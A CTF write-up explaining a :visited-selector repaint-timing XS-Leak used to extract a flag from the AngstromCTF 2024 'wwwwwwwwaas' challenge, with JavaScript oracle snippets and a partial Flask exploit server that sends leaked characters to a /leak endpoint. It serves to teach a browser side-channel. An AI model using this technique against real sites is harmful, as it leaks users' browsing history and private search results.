Research
AngstromCTF 2024: XS-Leak via :visited

AngstromCTF 2024: XS-Leak via :visited

ixSly ixSly Feb 17, 2026

Imported writeup on a :visited-based XS-Leak oracle from AngstromCTF 2024.

Wonderful Wicked Wrathful Wiretapping Wholesale World Wide Watermark as a Service

TL;DR

  • Use :visited CSS selector to detect visited URLs
  • Apply complex styles to make browser repaint
  • Oscillate link’s href between test URL and dummy/unvisited URL
  • Measure repaint performance with requestAnimationFrame
  • Longer repaint time indicates the URL has been visited

The Challenge

wwwwwwwwaas was an XSLeak challenge in Angstrom CTF 2024, presenting the classical 404/200 vector

app.get('/search', (req, res) => {
  if (req.cookies['admin_cookie'] !== secretvalue) {
    res.status(403).send("Unauthorized");
    return;
  }
  try {
    let query = req.query.q;
    for (let flag of flags) {
      if (flag.indexOf(query) !== -1) {
        res.status(200).send("Found");
        return;
      }
    }
    res.status(404).send("Not Found");
  } catch (e) {
    console.log(e);
    res.sendStatus(500);
  }
})

In usual scenarios, one could use a simple script leveraging error events to leak whether onerror/onload were triggered and forming the flag based on that

function probeError(url) {
  let script = document.createElement('script');
  script.src = url;
  script.onload = () => console.log('Onload event triggered');
  script.onerror = () => console.log('Error event triggered');
  document.head.appendChild(script);
}

// because google.com/404 returns HTTP 404, the script triggers error event
probeError('https://google.com/404');

// because google.com returns HTTP 200, the script triggers onload event
probeError('https://google.com/');

However, in this case the authors included the following headers, making it harder to use such a simpler oracle

app.use((req, res, next) => {
  res.set('X-Frame-Options', 'deny');
  res.set('X-Content-Type-Options', 'nosniff');
  res.set('Cache-Control', 'no-store');
  next()
})

X-Content-Type-Options will basically raise errors since the endpoint returns text/html as a content-type, so loading tags with that will return:

Refused to execute script from 'http://localhost:21111/test' because its MIME type ('text/html') is not executable, and strict MIME type checking is enabled.

image

The Oracle

The intended solution was a bug, reported and actioned in chromium bugs, demonstrating how the leak is possible.

The oracle leverages the :visited CSS selector to determine if a specific URL has been visited. By applying different styles to visited links, the browser reveals the visit status through performance differences.

The process starts by defining a link with complex styles that make the browser work harder to render it

#target {
  color: white;
  background-color: white;
  outline-color: white;
}

#target:visited {
  color: #feffff;
  background-color: #fffeff;
  outline-color: #fffffe;
}

The link’s href is oscillated between the URL we want to leak and a known unvisited URL randomly generated, forcing the browser to repaint the link each time.

function generateUnvisitedUrl () {
  return 'https://' + Math.random() + '/' + Date.now();
}

function startOscillatingHref(testUrl) {
  oscillateInterval = setInterval(function() {
    targetLink.href = isPointingToBasisUrl ? testUrl : basisUrl;
    isPointingToBasisUrl = !isPointingToBasisUrl;
  }, 0);
}

function stopOscillatingHref() {
  clearInterval(oscillateInterval);
  targetLink.href = basisUrl;
  isPointingToBasisUrl = true;
}

The performance is measured by counting the number of requestAnimationFrame callbacks, which indicates how often the browser repaints the element.

var tickCount = 0;
var tickRequestId;

function startCountingTicks() {
  tickRequestId = requestAnimationFrame(function tick() {
    ++tickCount;
    tickRequestId = requestAnimationFrame(tick);
  });
}

function stopCountingTicks() {
  cancelAnimationFrame(tickRequestId);
  var oldTickCount = tickCount;
  tickCount = 0;
  return oldTickCount;
}

I’ve forked the challenged because I am lazy so it works without authentication, testing the author’s PoC showed some promising results when testing locally, with a local flag flag{123123}, when testing http://127.0.0.1:21111/search?q=flag

image

The Solution

This technique was used by TeamItaly in a challenge called leakynote where the automated the solution, a successful one should stably leak the flag char by char.

I was too late to the CTF so unfortunately wasn’t able to solve it on time. Finally, I came up with the following automated solution

import os
from flask import Flask, render_template_string, request

app = Flask(__name__)

URL = "http://127.0.0.1:21111/"
CHARSET = "1234567890" # for local testing
#CHARSET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"

ex_html = '''
  XS-Leak Test
'''

poc_html = '''
  Enter a URL to test for visited status:
  Test
'''

@app.route('/')
def index():
  return render_template_string(ex_html, CHALLENGE_URL=URL,CHARSET=CHARSET)

@app.route('/poc')
def poc():
  args = request.args.get('url')
  return render_template_string(poc_html, url=args, CHALLENGE_URL=URL,CHARSET=CHARSET)

@app.route('/leak')
def leak():
  flag = request.args.get('flag')
  if flag[-1] == '}':
    print(flag)
  return ""

if __name__ == '__main__':
  app.run(host='0.0.0.0',port=1337)

Running this locally leaks the flag.

image

Table of contents